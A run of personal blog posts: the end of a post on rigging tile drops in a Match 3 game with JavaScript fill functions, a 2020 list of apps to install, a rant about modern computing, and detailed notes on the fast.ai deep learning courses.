This doesn’t feel too bad, right? Some of your moves might feel unlucky — i.e. you don’t get any combo’s. Oh, at this point it’s also a good idea to define a “combo”. When you make a match, a combo happens when subsequent drops lead to more matches being made. This provides a very powerful feedback to the player, even without sounds or flashy effects (although the gems breaking up do look nice, you should admit). The fact that a simple action sets off a chain of cascading events, each with immediate reward, is one of the best dopamine rushes that you can give to a player. (Again, these are well known patterns by themselves. Though writing this, I do wonder where that cascading rush comes from, evolutionary speaking, as most things in nature are action-reaction rather than action-reaction-reaction-…)

Let me take a pause for a small intermezzo at this time, before going further. In fact, this blog post idea has been written down in my notebook for about five, if not ten years for now. This is a YouTube upload I made for a Bejeweled Blitz bot in 2010:

Notice the bad recording and audio quality. Peak 2010. I won’t even mention the amazing VB GUI (I forget whether it was VB.NET or still VB6, but for posterior’s sake, you can also watch the development timeline — even more of a side point, I’m using Notepad++ and Vista in that video, which today feel nostalgic as well).

That recording was mainly a quick effort to whip up something which was fast enough to beat my friends on Facebook (back when Facebook was hip). A couple of years later, in 2015, I did it again, picking the game HuniePop, but now approaching it from a more mathematical angle:

The mathematical angle being that the bot optimized from selecting matches which would lead to the highest EV (Expected Value) by assuming that removed matches would lead to fully randomized drops, like the game shown above. This worked well, and I was eager to write about it outlining the full mathematical details. Sadly, once I solve a challenge “for myself” I am eager to share it with others but also very, incredibly lazy to do so. I have an utmost respect for bloggers and even more so YouTube creators who put in the effort to not only do the coding but also the production for the stuff they put out there, but sadly, I seem to alternate between moments of pure concentration and complete laziness. The second issue was the fact that HuniePop is kind of a “risqué” game, so I didn’t want to use it as an example on how to apply expectation-maximizing optimization (as sexy as that topic is, though). I also felt Match 3 games were at the end of their lifetime, but mobile games have proven that this is not the case. Lastly, I also was heavily into hacking Flash-based (yes, Flash) give-aways around the time between 2010-2015. This was in the golden era when Flash was just-about to die out, a few freelance companies were trying to hold on, and Flash was still a viable medium to make fun throw-away games and promotions with on Facebook. It’s another topic I’d like to tell the story about some day, and another one which has been on the todo list for who knows how many years now. (Not that all the todo items are decennia old, it just indicates what my backlog looks like.) In any case, someone (another hacker, in fact) found out my schemes and used the videos I’ve mentioned before as evidence I “wasn’t to be trusted”. Fun times and again, a story for another time, but at the time it also disheartened me a bit from putting even more eyes on it.

End of intermezzo.

So, now try playing this incarnation of our game:

This should feel worse after a bit of playing… right? The initial board is still filled randomly, but once you make your first move, the game is biased against you, like so:

fill(x, y) {
    var correctY = this.getCorrectY(x, y);
    var bestTile = floor(random(this.board.nrGemTypes));
    var bestMoves = -1;
    var tileIdx = [];
    for (var tile = 0; tile < this.board.nrGemTypes; tile++) tileIdx.push(tile);
    while (tileIdx.length) {
        var tile = tileIdx.splice(floor(random(tileIdx.length)), 1)[0];
        this.board.setTile(x, correctY, tile);
        var nrMatches = this.board.getMatches().length;
        var nrMoves = this.board.getPossibleMoves(false).length;
        this.board.setTile(x, correctY, -1);
        if (nrMatches) {
            continue;
        }
        if (bestMoves == -1 || nrMoves < bestMoves) {
            bestMoves = nrMoves;
            bestTile = tile;
        }
    }
    this.board.setTile(x, y, bestTile);
    return false;
}

Put shortly, we try to minimize the number of moves you can make, albeit in a greedy fashion. Meaning that if there are multiple columns to be filled up, we decide on a piece for the first column, and then move to the next one, without backtracking. We hence don’t guarantee that our fills will lead to a global minimum of possible moves, especially for columns where multiple spots need to be filled (this is also due to the quick and dirty JavaScript implementation and the state machine defined above, fill fills the top row, then moves back to drop and then looks whether it needs to fill again).

In any case, this is not too bad yet, as minimizing the number of moves does not take into account the combo-effect described above. Well, it kind of does, as moving two pieces of the same type in a row of three is technically a valid move when calculating getPossibleMoves, but these will be immediately removed.

Let’s take a look at these issues one by one. Starting with the greedy problem. Let’s replace this with a recursive calculation to find the outcome which leads to the global minimum of moves (again, we keep the initial board randomly filled, otherwise there won’t be any moves at all to make; it also would take a long time to calculate — the implementation is not fast to begin with):

Note that this again feels much worse to play. Now it’s not a full worst-possible recursion yet, as the global solution might still involve filling the board with pieces which do lead to an additional combo, which again would lead to a removal step and filling the board up again. We only look at the current board but not at the next boards which might arise from follow-up-removals. Doing so would be more in line with the full-recursive EV approach mentioned above, now using is as an EV minimization procedure to work against the player. However, this is not easily implemented without a system which allows for setting up a tree of game boards and searching through those, something I didn’t feel like doing in JavaScript. It’s a hard problem in any case as Match 3 games are NP-hard.

We can also see what happens if we focus on combo’s in a greedy fashion, e.g. using nrMatches rather than nrMoves in the greedy code fragment above. In fact, to switch things around, let’s now go towards optimizing the highest number instead of lowest:

Okay, this perhaps does feel too good too play, but it does reveal something interesting, namely the fact that the combo-aspect is more directly related to difficulty and game-feel (in terms of “how well am I doing?”) then number of remaining moves. The reason for this being that — especially with a randomly filled initial board — there will typically be enough possible moves present so that players do not immediately feel like they’re being punished on this. We do feel that we’re not making as many long-string combo’s.

With this in mind, we can figure out a version which works greedily (which is fine), but allows to tune the amount of the game favoring you:

fill(x, y) {
    var correctY = this.getCorrectY(x, y);
    var bestTile = floor(random(this.board.nrGemTypes));
    var bestMatches = -1;
    var tileIdx = [];
    for (var tile = 0; tile < this.board.nrGemTypes; tile++) tileIdx.push(tile);
    while (tileIdx.length) {
        var tile = tileIdx.splice(floor(random(tileIdx.length)), 1)[0];
        this.board.setTile(x, correctY, tile);
        var nrMatches = this.board.getMatches().length;
        this.board.setTile(x, correctY, -1);
        // Consider better matches as long as the dice falls below a set value
        if ((bestMatches == -1 || nrMatches >= bestMatches) &&
            (random() < this.slider.value())) {
            bestMatches = nrMatches;
            bestTile = tile;
            console.log(x, y, bestMatches, bestTile)
        }
    }
    this.board.setTile(x, y, bestTile);
    return false;
}

There are better ways to do this, like a biased weighted random choice, but again this is enough to make the point:

Drag the slider to increase our decrease the chance of more combo’s. The higher, the better you’re chances.

To conclude, it is of course very doable to create a dynamic version of a Match 3 game which dynamically adjusts itself to make things harder or easier. This should come as no surprise of course, and a full implementation would be even better at allowing to determine which tiles should be dropped (i.e. do a full tree search) then what I did here. Obviously, the main challenge when implementing something like this is e.g. a mobile game would lie in figuring out how exactly this bias should be changed and based on which inputs. Performance over the game so far, performance over the last n games played, time the game was last opened, time the last purchase was made, amount spend so far? No doubt there are gacha game designers thinking about exactly these questions.

List of Apps (2020)

2020-10-14T20:11:00+02:00

It’s time to setup a new machine, so once again I’m jotting down a list of apps I generally install right away, slightly updated again.

Chrome
Google Drive
FileZilla
Microsoft Office (including Skype for Business)
Microsoft Teams
7-Zip
Everything
f.lux
Paint.NET
Sumatra PDF and Adobe Reader for those annoying edge cases where Sumatra doesn’t work
Fonts: Open Sans and Fira Code especially
OBS
VideoPad: bare bones video editor which is enough for me
Anaconda Python Distribution: although Python 3 has good venv support these days
VSCode
GitHub Desktop
Spotify
Steam

Optional / once required:

Portable:

And Now, Time for Another Rant

2020-01-07T22:01:00+01:00

I was going to spew this out as a Twitter “thread” as is the fashion these days, but I decided against it. Blogging is still cool. Especially once I realized this is not the first time I’ve done this…

… Meaning that I’m sitting at my machine and realize computing is (still) terrible. No worries, this rant won’t be as long as last time, since turns out most of it boils down to the same stuff anyway, but let me revisit some of the topics from — now — three (!) years ago. Yes, Windows 10 was already a thing then, we get old.

On Windows and Interfaces: this is still terrible. I’ve learnt how to deal with Windows 10 random crashing shenanigans by just buying a new laptop every year. Truth be said, the update mechanism appears to be less invasive, except if you have a bunch of machines like me just resting at random offices which crap out the moment you return to them after a month or so. The interface, on the other hand, whilst useable, even look more outdated today. Not just because of the fact that you can still visit all “design era’s” all the way from 10 to Vista to 7 to XP to 98 if you continue to dig deep enough in the control panel (even although most of it is better hidden nowadays), but also simply because the flat design looks outdated. I still miss good old buttons.

Discoverability is an issue. Clickability is an issues. How the !@#$ can you claim in the Snipping Tool app that it’s “gone soon” whilst no one knows about WinKey + Shift + S? The same holds for Apple: cover 80% of use cases in an easy to use manner, whilst making the other 20% near impossible. It’s a user’s nightmare.

Apart from that, I’m getting more and more annoyed that my beast of a machine — because let’s be honest, an octa-core 3Ghz machine is a beast, in fact — will randomly spin its (probably too cheap since we only look at “them GigaHertz”) fans in the middle of the night because of… who knows? Indexing, perhaps? There’s always some important indexing or telemetry work to do.

I’m also annoyed that there’s no simple way to “sync and ready” Windows systems (neither is there on Linux or Max, but I know their users would defend the point more heavily with home-brew solutions). Case in point: one of my favorite use cases for a VM is to boot from a snapshot. I want that for my main machines, but: (i) keep my documents in sync (even if that means a Dropbox or Google Drive), (ii), keep my main set of apps in an updated state (but not whilst I’m working), (iii) put everything else in “containers” or whatever and let me decide if this new app I’ve just installed becomes part of the “main bunch” or just something I want to try out. The first real tool that provides this has my $ (and I can only imagine this is an issue many multi-device users face). Going on the road with “that travel laptop” and having to get everything ready in the hotel room the night before is hellish, when you just want to boot it up, go over your slides, make some last minute changes to your Jupyter notebooks, enjoy a beer and go to bed. I’m even tempted to try it myself, but know I’d botch the implementation.

For a while, in fact, Chromebooks offerred a good solution. Always updated, always browser-only. Then Google lost interest and went for a last-resort “meh let’s support (badly so) Android apps”. Also, why is there no good way to set up ChromeOS on a non Chromebook device? I tried this Cloudready thing to prepare a beefy replacement laptop for my mom (who was a big ChromeOS fan — even whilst not knowing it — the first laptop she liked to use), and even apart from the USB boot stick taking six hours to prepare (my problem), the mouse pointer decided to randomly disappear completely after a day or so of use, even whilst working after install, even after two fresh installs (her problem, but even more so my problem).

Last year I wrote this:

Interfaces in general have become horrid. An interesting discussion on Twitter has lots of people talking about this (funny that a separate website is needed to kind-of properly render out a list of tweets in a somewhat readable format)

This conversation got revisited, I think, recently — no wait, it’s this one (I’m linking to the Hacker News page as that’s the site that actually allowed my to find this post in a rapid way instead of Twitter, which still is — in 2020 — a massive sinkhole in which any good content simply goes dark… sigh.)

What actually sparked me to write this post were two Google products. One, Google Translate (in Chrome), which still randomly cannot detect that a web page I’m viewing is in Mandarin whilst at other times — on the same domain — will pop up a very helpful button asking if I want to translate the page. Good luck forcing Chrome to do so if you don’t get that pop up. The second one is Google Drive which still… years later… with so many paying customers… will for some reason randomly continue to sync but context-menu-up a completely grey box when you right click its icon. Why? Because I have many files? You offer 2TB of space. You have a hundred engineers (easily) slacking off at this very moment. Redesign your management style. Fix this mess.

Oh, and Google Maps is getting worse as well, as commenters on Hacker News point out as well.

Anyway, another item from three years ago was On Devices, Apple and Linux… I don’t think I want to get into that again. The whole mobile ecosystem has burned down. At least Apple was quick enough with “Arcade” to salvage what they could from the gaming subsphere. Okay move. Google has this. Worse move.

I also wrote:

Also: good luck using your Linux laptop to give a presentation at some corp where they’re using some FuYouDianNoa brand of projectors which only work in some kind of devil’s 888x666 resolution.

That point still stands. systemd being another one, too. Wayland is still “in progress” as well. Also, Intel CPU issues post-Spectre and Meltdown (yes, already a thing in 2017) have simply continued, too. Foreshadow, Zombieload… Have we collectively stood still?

All these “smart” tablets, phones, fridges and whatnot need to update a bajillion apps if you don’t use them for a few weeks and start to slow down after every OS update.

Let alone the fact that they’re sending screenshots of what you’re watching… to somewhere. As if we didn’t expect that. Samsung is in cahoots with Qihoo — just happened at the time of writing.

I’ve briefly mentioned some points on gaming above already. Again, the situation hasn’t gotten better. Well, at least EA and Microsoft have wised up and are coming back to Steam.

If you do finally manage to get into a game, be prepared to cough up money for microtransactions, “cosmetic unlockables”, “loot boxes”, (edit: and now: “live services”) and all those other gamblind-inspired horrids that have come straight from the seventh hell that is mobile gaming to infest the rest of the gaming world.

Programming has continued to get worse. The tyranny of Javascript continues. For everything else, it’s Rust or invalid. Virtualize, containerize, package it up, but AWS in front of it, get your keys stolen by posting them on Github, make a type in a package name and get hacked. I’m not going to link to all this. I’m just going to link to a tweet from Casey Muratori:

As we come into 2020, I am now pretty sure I picked the wrong career. If I had known what computers were going to become, I probably wouldn’t have wanted to be a programmer. It is definitely no longer a career for people who take pride in their work.

Jonathan Blow (who’s been working on his own language and understands that computers are fast enough) has similar good points to peruse. John Carmack also made a good point:

My formative memory of Python was when the Quake Live team used it for the back end work, and we wound up having serious performance problems with a few million users. My bias is that a lot (not all!) of complex “scalable” systems can be done with a simple, single C++ server.

… and even he got flamed by Javascript/Rust/… fanboys.

By the way, this leads me to AI, since Carmack is working on that as well these days. Everyone is still AI crazy. Hadoop is gone, Spark is known. Kafka is still hot, but Tensorflow and PyTorch are bursting with energy. Forget about that simple model which is understandable and robust, just slap twenty layers on your small tabular data set and let it train for a week.

Tensorflow is a mess right now. Good luck finding your way between old and new tutorials as Google makes its transition to v2 of the API. As with all things Google, it’s “don’t use v1, its outdated and deprecated and boring, use v2, which is not ready yet”.

A while ago I encountered a (published) paper where the authors first convert a structured instance to a row of pixels by freaking one-hot encoding everything (including numerical values) and feeding that to a 1d CNN. For god’s sake, at least you could’ve used greyscales.

Meanwhile, there’s this (check out the Figure in that PDF).

I’m going to call it quits here and go hang out at href.cool and Neocities, or play a bit of the excellent and wacky Hypnospace Outlaw.

I close by repeating my final points from three years back:

What has happened with “computing” as of today? Perhaps — most likely — all of this is due to me getting older, more busier, less easily impressed, or simply a case of nostalgia goggles firmly stuck on my face, but I can’t shake the feeling that computing today has lost a lot of its appeal, its “magic”, if you will, compared to the days of old. I used to laugh (silently) at “dinosaurs” I’d meet telling me about how all of this new stuff already existed in the eighties. I still laugh (silently), as I can still gleem in the fact that I at least try to keep up to date with all these new developments whereas they have given up and perhaps just want to emphasize their relevancy, but I’m feeling increasingly more sour as I start to wonder towards where, exactly, we’re trying to “evolve” to.

See you in three years from now.

My course.fast.ai Notes

2019-11-01T17:45:00+01:00

Like many others, I’m a huge fan of Jeremy Howard’s fast.ai courses. Even when having worked in the machine learning field for years, I still find the material to be packed full with interesting tidbits, tips, and did-you-knows which you can’t easily find anywhere else.

Because of this, I’ve rewatched the courses several times. Last time around, I decided to take a somewhat more long-term structured approach and make notes of things which strike me as noteworthy.

Lots of other students and viewers have done so already and have made transcripts available, but I wanted to make my own notes as I find that the other notes

are either too long with way too much detail;
are way too short without enough detail;
describe coding and theory elements which I know already;
don’t describe some interesting things which I find very valuable to refer to later on and remember.

I especially wanted to include the points which I’d like to refer to or mention in my own teaching.

Deep Learning 2017 Course: Part 1

This course immediately adopts the concept of transfer learning
- Starting with VGG (ImageNet 2014)
- Tip: always look at the data is was trained on as this will impact the settings you can use it to transfer learn
- “Last of powerful simple architectures”
Baseball analogy to explain bottom-up learning: “many students lose motivation or drop out along the way. In contrast, areas like sports or music are often taught in a top-down way in which a child can enjoy playing baseball, even if they don’t know many of the formal rules. Children playing baseball have a general sense of the “whole game”, and learn the details later, over time”
Understanding LogLoss with Excel
- A small epsilon is applied to 0 and 1 probabilities
- But you can clip these as well manually for overconfident models
- Will rank higher when scored on LogLoss
Idea is introduced of changing learning rate after a couple of epochs: this will be expanded much more later on
Keep visualizing, also when evaluating
- Look at (most) correct labels, (most) incorrect labels at random, most uncertain labels
- My Take Generally in ML: data scientists tend to forget about this even with other models
Probabilities that come out of a deep learning network are not statistical probabilities (e.g. “how often right or wrong” interpretation)
Visualization of a CNN
- Find examples of pieces of images that strongly activate each filter
- Lower layers: very similar to Gabor filters
- Experiment with the layers to fine tune
- Don’t reinitialize weights
Initialization: start of with activations along the same scale and provide and output close to desired output
- Xavier (Glorot), Kaiming initialization: https://towardsdatascience.com/weight-initialization-in-neural-networks-a-journey-from-the-basics-to-kaiming-954fb9b47c79
- Most good toolkits do this for you
Local minima
- Generally not an issue in DL: not really possible get to a point where there is not direction better because we have lots of parameters
- Sadle points are another issue
- My Take It’s striking how many times I’ve gotten this question as well
- What is you don’t know the derivate or derivate can’t be calculated (like with ReLU)
  - All modern network libraries do symbolic differentiation
  - ReLU doesn’t have a derivate at every point, mathematicians care but we dont
    - Doesn’t really matter if differentiable for the majority
  - So all non-linear activation functions work well
  - ReLU is very common but alternatives exist: ELU, LeakyReLU
  - Also see https://openreview.net/forum?id=H1gJ2RVFPH for a cool new result
Most simple way to transfer learn: use VGG’s 1000 outputs in a linear model
bcolz library to save Numpy arrays
Recommends rmsprop instead of SGD
Matrix multiplications one after one another is itself a linear model
- So that’s why we add in a non linear step on the activations
There’s a difference fine tuning and adding a layer
Why softmax: e^ matches nicely with logloss, also overcompensates one output which matches hot encoded
- Not good for multilabel
On convolutions:
- Increasing number of filters after each maxpool
- Convolution is position invariant
- Solved by further filters down the road
- 3x3 filters are better: use smaller filters, maxpooling, more filters and more layers
- Large images (at the time) still unsolved: attention might help
- CNN utilizes a lot of compute, dense uses a lot of memory
- Maxpool usage is controversial, increasing stride is better
  - Useful for 1D convolutions as well
- CNN can hence also be used for any type of ordered data (RNN alternative)
- SxSxC tensor per filter, then sum
- Capsule networks briefly mentioned
On overfitting:
- First of all build a model that overfits (since then we know we have enough model capacity and know that we can train it)
- Then gradually use a number of strategies to reduce the overfitting
- Add more data
- Dropout: now also on the CNN layers, but not too much in beginning
- Use data augmentation: always, but what kind and how much can vary
- Add regularization: L2 or L1
- Reduce architecture complexity
- Throwing away model information is different from throwing away input information
- BatchNorm: if inputs not scaled then all weights have very different gradients, same for weights in between
  - So also normalize activations, but doesn’t work by just normalizing
  - Normalizes but also multiplies and adds to change mean, and take these two params in the SGD
  - Allows to use 10x higher learning rate and less overfitting without removing information
  - Start with a batchnorm layer to get automatic normalization (trick)
Getting the learning rate right is critical: related to exploding gradients and vanishing gradients
- Vast majority of space in loss function are saddle points: loses time
- Chain rule: derivative of f(g()) = derivative products
On optimizers, from SGD:
- Momentum: keep track of average movement
- Dynamic LR: adagrad — different LR for different params: keep track of gradients
- rmsprop: similar, but better continuous update — doesn’t explode (exponentially weighted moving average)
  - Allows to keep the learning rate smaller and smaller
  - Start small, then up, then decreasing: learning rate annealing
- Adam: rmsprop and momentum combined
- Still very iterative changes
- Early stopping is pretty difficult to use correctly, especially since loss is jittery and can have plateaus
- Jumping too far at the start of training is easy
  - Often reasonable good answers that are easy to find: e.g. always predict 0: so look at the predictions!
  - Once accuracy is better than random, we can start to increase the learning rate
- Versus gradient descent (whole dataset)
- Versus online gradient descent (minibatch of 1)
On pseudo labeling:
- What do we do with instances for which we don’t have the labels?
- Can still help us to learn about the structure of the data
- Related to semi supervised learning
- Predict outputs for unlabeled set from a trained model: pseudo-labels (pretend they’re correct)
- And then train again (and repeat)
On knowledge distillation:
- Knowledge distillation is model compression method in which a small model is trained to mimic a pre-trained, larger model (or ensemble of models). This training setting is sometimes referred to as “teacher-student”, where the large model is the teacher and the small model is the student
- In distillation, knowledge is transferred from the teacher model to the student by minimizing a loss function in which the target is the distribution of class probabilities predicted by the teacher model
- The output of a softmax function on the teacher model’s logits. However, in many cases, this probability distribution has the correct class at a very high probability, with all other class probabilities very close to 0. As such, it doesn’t provide much information beyond the ground truth labels already provided in the dataset
- To tackle this issue, Hinton et al., 2015 introduced the concept of “softmax temperature”
Collaborative filtering: embeddings as latent factors
- Don’t forget to add bias
- Concatination and dense seems to work better
Embeddings and CNNs:
- t-sne can still be misleading, just like PCA
- Glove and word2vec constructed using linear models to reason in high dimensional space
- You should always (try to) use pre-trained word embeddings
- You can try different sizes of CNN filters and concat them together before connecting
Functional Keras API generally better
- Intermediate outputs using Model()
RNNs
- Keep memory about distant past
- Long term dependency handling
- Variable length sequences
- Stateful representation
- Attentional model: what should I look at next (very large images)
- RNN collapses unrolled with shared weights
- First make embeddings and then pass to RNN
- Predict n from n-1
- Initialize hidden state with identity, causes hidden state not to change at all
  - A simple way to initialize RNNs
- Predict 2 to n from 1 to n-1
  - Initial (1) input with zeroes
  - return_sequences = True: return output after every input step
- Long-term dependencies
  - Cannot initialize to zeroes after every sequence: we want to keep the hidden state over the sequences
    - stateful = true: don’t reset the hidden activation after every sequence
      - Training stateful models is hard
      - Because hidden state weights gets applied a lot
      - So scaling issues can lead exploding activations
    - The stateful RNN keeps the hidden state across batches, but doesn’t backprop between batches
      - Time steps still matter
  - Thought impossible to train until LSTM
    - Neural network inside the loop that decides how much state to keep
    - … and BatchNorm
    - inside of the loop: layer normalization
  - See also http://philipperemy.github.io/keras-stateful-lstm/
- RNN feeding into an RNN
  - Add dropout to RNN on U and W
- GRU as a simpler LSTM
  - Also makes sure activations don’t explode
  - Might work better than LSTM depending on setting
Combining RNNs and CNNs
- Attention
- Caption generation
ResNet as a new development
- Adds identity of input to output in each Resnet
- Works as a way to model residuals: comparable to boosting!
- GlobalAveragePooling introduced
- Inception: multiple filter sizes and concatinate, small improvement
Data leakage: fisheries competition example
- Redundant metadata
- Bounding boxes
  - Human help can help
  - Multi output can help, even if we don’t use it: more info
  - Better to give compatible tasks at once
- “Don’t just eff around with architectures and hyperparameters”
- Easy to set sizes with pretrained network, contrary to what some people say
  - FCN with GlobalAveragePooling
  - Can be used to make heatmaps
  - Again, draw pictures of activations, weights, gradients
- Ensembling by reinitializing the network a couple of times

Deep Learning 2017 Course: Part 2

From Theano to TensorFlow:
- API getting easier
- Productionization story
- ML Toolkit Tensor Forest
- Pytorch mentioned in context of RNN
- Define through run (dynamic computation)
Artistic style transfer:
- Loss function as MSE
  - Better to use intermediate convolution activations of a CNN
    - VGG, Resnet also possible but harder
    - loss(activ of orig, activ of modified) -> tune modified
- Average Pooling in Generative models
  - Better than Maxpooling
- No need to use SGD
  - Deterministic optimization based on line search (fmin_l_vfgs_b)
  - Still can give issues in sadle point
    - Conjugate direction: most downhill and most different
  - Optimize arbitrary Keras function
- Gram matrix for style
- Starting point of optimizer matters!
- Many more tuning possibilities, eg blur chaining, different activation layers weighted
  - likemo.net
  - pix2pix
- Alternative: train CNN to generate a new image rather from an original content than optimizing random input image
  - Play with padding and valid convolutions, otherwise weird “checkerboard” artifacts
Super resolution:
- Only content loss
- Deconvolutions
- Start of with large convolution many large filters to increase receptive field of later ones
- Removing activation of last layer per resnet block
- Loss in lambda and then fake targets
- Checkerboard artifacts
  - Because of stride 2 size 3, 4 is better
  - Or not use deconv’s but upsampling and normal convolution
Image preprocessing: resize by chopping instead of borders
Broadcasting: nice historical link to APL and J
Multi-modal models; that is, models which can combine multiple types of data in joint feature space
- Cotraining
- Resnet does not name the merge layers
  - Just before last bottleneck layer is a good place for transfer learning
  - Or not… requires experimentation
- Average Pooling
- Cosine distance
- “In high dimensional space, everything sits at an edge of one of the dimensions”
- Approximate nearest neighbors: locality sensitive hashing (LSH) LSHForest
  - Spilltrees is an alternative
GANs:
- Most people see GAN as an alternative to CNN based generation
  - But even better to stick it on top of it
- Back and forth training approach
  - Hard to interpret loss functions :(
  - Mode collapse: G and D reach a stalemate :(
- DCGAN tries to solve this problem
  - CNN, use use strided convs, no maxpooling
  - No fully connected layers
  - User batchnorm
  - Upsampling even better for G with conv’s
  - Still not fantastic
- Wasserstein GAN
  - Loss curves finally mean something
  - Train D… then train G… back and forth
  - Use MSE and constrain the weights in small area
  - Care about the difference between two loss functions: Jenson-Shannon distance
    - That loss function is hideous, non smooth, not differentiable
    - When using cross entropy
    - Other distances (KL) could be used as well
  - Still not easy when data set has many categories
- BEGAN (new result), CycleGAN, …
Some more tuning insights:
- ELU seems to work well
- Linear combination convolution of the channels 1x1
Noisy labels
Mentions cyclical learning rates by Leslie Smith
- And fairly automated LR picking approack (one cycle)
- Will be expanded later on but is a key tip
3d volume cancer detection
- “Anti-fan of clustering: unsupervised techniques are looking for a problem to solve”
- “K-means sucks (kernel k means is a bit better)”
- Mean shift clustering in 5 dimensions is nice though
Memory networks and chatbots:
- “For sentence embeddings, they just add the embeddings up”
- Kind of messy
- “Chatbots state of art is terrible”
- Recurrent entity network + attentional networks are better
On attention models:
- Dropout in RNNs is a bit different from normal dropout: best to dropout the same things in every time step
- Bidirectional RNN
  - Look forwards and backwards
  - Doubles the number of features by concatinating
- Matrix -> RNN (Encoder: sequence to vector) -> vector -> RNN (decoder) -> output sequences
  - Copy vector state and make copies (RepeatVector)
  - Still not perfect for longer words since we try to encode in a single vector
- BiLSTM + attention
  - Used a lot in NLP, “replaces everything before in linguistics” according to Chris Manning
- Attentional model
  - Weighted sum over decoded state where the weights represent how important each input element is to get the output
  - Weights are trained using SGD: single hidden layer
    - Jointly trained!
    - No reason to not make it more complex but allows for easy visualisations
  - Also applied on sound waves for speech recognition
  - Feature forcing: pass encoder hidden state and answer for previous time state
    - Sounds like cheating, but makes training easier early on
- Embedding -> Bidir -> rnn -> rnn -> attention (x + feature forced) -> timedistributed
  - Attention is a custom keras layer
Reinforcement learning: “almost no real practical examples”
- Evolutionary models turn out to be better, even…
Class imbalance: one way is to simply adjust your mini batches before doing under/over-sampling
Transfer learning: why does vgg still work so well vs inception and resnet
- Redundant intermediate representations
Find best output given list of predictions (“top1k problem”)
- Doesn’t work well with sequences
- Find best pathway through predictions
- Step by step adding up log of predictions (Viterbi)
  - NP-complete :(
- Beam search is better (pick the top few so far), or A*
  - Used by majority of practical approaches for decoding
Neural machine translation of rare words with subword units
- What do I do with a word I haven’t seen before? Or I don’t want a large vocab?
- BPE: encoder - tokens that are not necessarily the same of the words, e.g. [er], [am]
Densely Connected Convolutional Networks
- Replace addition with concatination in ResNet blocks
- Works well with limited amounts of data!
- Compression and bottlenecking
- “The One Hundred Layers Tiramisu”
  - Good for image segmentation
  - U-net model, but uses DenseNet block
    - Skip connections
    - Also nice
  - Data augmentations helps
  - Original did 1x1 conv and maxpooling
    - Stride 2 seems to work better
    - Also, deconv2d works better than upsampling + CNN here
  - works even better on video frames than models that incorporate time component
Time series
- Dynamic mortality risk predictions using RNN
- Rosmann sales: entity embeddings of categorical variables
  - My Take: I really like this case
  - Each categorical one hot embedding, concat, two dense layers and an output layer
  - Continuous variables get pushed directly in the network
  - Embeddings can be used in other models as well
  - Draw some projections
  - Google trends used as data source
  - vtreat package
  - Supervised embeddings vs unsupervised like autoencoders — is the latter more generalized?
    - “Bah! I don’t like unsupervised models”
    - “Always better to define a loss function — any loss function”
  - How long until previous/next holiday
    - Still good human feature engineering necessary!
  - Nice that Pandas has a lot of time series stuff
  - Dimensionality not so high, so embedding length set manually per categorical level
    - Or max(50, levels//2)
  - sklearn_pandas package
  - Removed all rows where store was closed
    - What happens before and after?
    - Sales for stores that are open on sunday are higher -> should be a feature
  - log and division with max log -> so we can use sigmoid
    - Doesn’t seem to matter much here
    - For sigmoid it’s really hard to get to the maximum!
    - So max log * 1.1 would have been better
  - Did not normalize continuous? and other weird changes
    - Turns out scaling and a good init and single dense works well
  - “xgboost is fantastic”
  - feature importance plots are important
    - “Credit scoring with 3000 vars, only 9 mattered”
- Actually already done artificial neural networks applied to taxi destination prediction
  - Yoshua Bengio
  - Simple embedding dimension
  - GPS points: just first and final points
  - Softmax, centroid with mean-shift clustering to come up with 3000 destinations

Deep Learning 2018 Course: Part 1

Starts off with ResNet model for cats vs dogs and introduction of fast.ai library
- Most top researcher are using PyTorch. Note: returns log of predictions
Visualizing again important: look at correct and incorrect ones
- “Why do you want to look at your data?”
  - Take advantage of things model is doing well and fix what is is not
  - Learn about the data set itself
Nice example of image classifiers on mouse movement to predict fraud
Neural networks don’t solve the UAT non-exponentially
- But multiple layers helps!
LR finder (cyclical learning rates)
- LR is the hyperparameter that matters
- Regardless of optimizer, even if they do adaptive learning rate, annealing still important
And so is data augmentation!
SGD with restart
- Cosine annealing with jump back up
  - Gradually increase length of cycle as well
- Helps to avoid spiky minima
  - Change every mini batch
  - Alternative for restarts with init/ensemble people did before
  - Snapshot ensemble: save weights at every bottom point before restart
Different learning rates when transfer learning per part of the model
- Don’t need to unfreeze only a part any more
Test time augmentation: average 1+4 preds
- But mayble sliding window might be enough
First train on smaller images and then on larger images
Unbalanced data not a big problem
- Best way is just to make copies of the rare class or adjust minibatches
Multilabel classification: don’t use softmax, obviously
Dropout still important
Year and dayofweek -> categorical
- Cardinality: number of levels
- Binning can be helpful
- Unknown category (for year): actually pretty meaningful
- Neural nets really like ~N(0,1)
- Cardinality versus length of vector
  - Rule of thumb here: min(50, card+1 // 2)
- Advantage versus onehot? Would work, but makes that the concept of e.g. Sunday can only be associated with one floating number
  - Linear behavior
  - Concepts in higher dimensional space allows to capture more richer semantics
import dill as pickle
NLP
- Lots of new stuff
- Language modeling: predict next word/char
  - Use it as a pretrained model
  - Fine tuning really powerful here as well
  - char-rnn a bit similar, but word level easier
- Spacy shows up: “super good tokenizer”
- Stemming or lemmatization not 100% required here
- Bag of words no longer useful
- Length X BatchSize step over BPTT (backprop through time)
  - Shuffle BPTT length
- First step is embedding matrix
- Adam defaults need to be changed for NLP
- AWD LSTM language model: uses dropout (all over the place)
  - Need to experiment tho
  - Clip the learning rate (gradient clipping)
- word2vec or glove would also be okay in this case, but
  - Pretrained doesn’t really add that much
  - Pretrained language models is nicer
Collaborative filtering
- dask
- PyTorch underscore trailing means do it in place
- Bias is important, still
- PyTorch now has broadcasting
- Put ratings through a sigmoid function -> 0..1 * 4 + 1 . not state of art but helps
- Not strictly a matrix factorization (harder to deal with sparse matrices -> predict 0)
- Here too cycle opt can help
- Then a neural net again (linear layer has bias)
  - Concat both embeddings, linear, relu and linear again and sigmoid
    - And dropout
    - Dimensionality for users and movies doesnt need to be the same any more
SGD
- Finite differentiation
  - Actually fine, computers are discrete anyway
  - But problem in high dimensional space: slow!
    - https://explained.ai/matrix-calculus/
- Analytic differentiation
  - Chain rule most important f(g(x)) -> relu(lin(x)) …
    - And that’s just backpropagation — really
- Take a hint that’s a good direction -> momentum (linear interpolation)
  - alpha(t) + (1-alpha)(t’-1)
  - can be tuned (esp with well behaved loss) but almost no one does
- Adam: much faster but final answers not quite as good as sgd + momentum, esp in nlp - Solved two weeks ago: weight decay had a nasty bug, AdamW fixes this
  - Incorporates adaptive (dynamic) learning rate
- Weight decay… more params than data points
  - Regularization and dropout
  - Weight decay = l2, add square of weights to loss
    - Penalize params when high unless gradient varies a lot
    - So actually needs to be handled separately from loss
    - “decoupling weight decay” from the momentum term (Sebastian Ruder)
- No rmsprop any more
